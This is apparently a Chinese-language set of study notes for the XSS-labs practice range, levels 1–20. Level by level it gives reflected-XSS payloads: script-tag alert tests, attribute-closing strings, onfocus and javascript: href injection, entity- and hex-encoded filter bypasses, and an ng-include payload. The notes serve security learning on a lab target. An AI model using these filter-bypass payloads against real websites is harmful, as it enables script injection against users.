XSS-labs靶場（1-20）

1、遇到?name=text，嘗試參數注入

注入語句：

<script>alert(『xss’)</script>

從url入手開始看，依然是get方式傳遞參數，應該還是反射型xss

閉合” “> 使用”> ….//

概念(知識點)補充

<script>alert(『xss’)</script>

其中<和>都被編碼成了html字元實體

1、猜測在伺服器端用htmlspecialchars()函數對keyword參數的值進行了處理

2、但是問題是這裡的js程式碼在標籤屬性值中，瀏覽器是無法執行的

---

htmlspecialchars()編碼 「<」 「>」

&lt;代表小於號(<)

&gt;代表大於符號(>)

&le;表示小於或等於符號(<=)

&ge;表示大於或等於符號(>=)

思路： 

漏洞程式碼：

“><script>alert(‘xss’)</script>//

首先使用<script>alert(“xss”)</script> 進行測試

特殊事件：onfocus

onfocus 事件在對象獲得焦點時發生。

onfocus 通常用於 <input>, <select>, 和<a>

首先使用<script>alert(“xss”)</script> 進行測試

1、首先使用<script>alert(“xss”)</script> 進行測試

2、使用」onfocus=javascript:alert(「xss」)」>

首先使用<script>alert(“xss”)</script> 進行測試

1、首先使用<script>alert(“xss”)</script> =>中的<script>被過濾掉

2、使用onfocus=javascript:alert(“xss」) =>中的onfocus被過濾成focus

3、使用”><a href=javascript:alert(“xss”)>xss</a>// =>中的href被過濾掉

首先嘗試<script>alert(“xss”)</script> =>script中的ri被替換過濾成r_i，所以嘗試編碼繞過

並且發現我們輸入的payload漏洞程式碼，是被傳輸到友情鏈接的<a>標籤中

所以下一步測試<a>標籤

*經過測試，html實體編碼和hex編碼都可以繞過

漏洞程式碼：javasc&#x72;&#x69;pt:alert(/xss/)

首先使用之前關卡的漏洞程式碼：

<script>alert(“xss”)</script>

javasc&#x72;&#x69;pt:alert(/xss/)

漏洞程式碼：javasc&#x72;&#x69;pt:alert(‘//’)

首先使用之前關卡的漏洞程式碼：

<script>alert(“xss”)</script>

javasc&#x72;&#x69;pt:alert(/xss/)

解題技巧是：

1、將input標籤的type類型的hidden改為text

2、將漏洞程式碼填寫到value中

ng_lnclude的用法：

1、ng-include 指令用於包含外部的 HTML文件。

2、包含的內容將作為指定元素的子節點。

3、ng-include 屬性的值可以是一個表達式，返回一個文件名。

4、默認情況下，包含的文件需要包含在同一個域名下。

值得注意的是：

1. ng-include,如果單純指定地址，必須要加引號

2. ng-include,載入外部html，script標籤中的內容不執行

3. ng-include,載入外部html中含有style標籤樣式可以識別

漏洞程式碼：?src=’level1.php?name=<a href=”javascript:alert(/xss/)”>xss<a/>’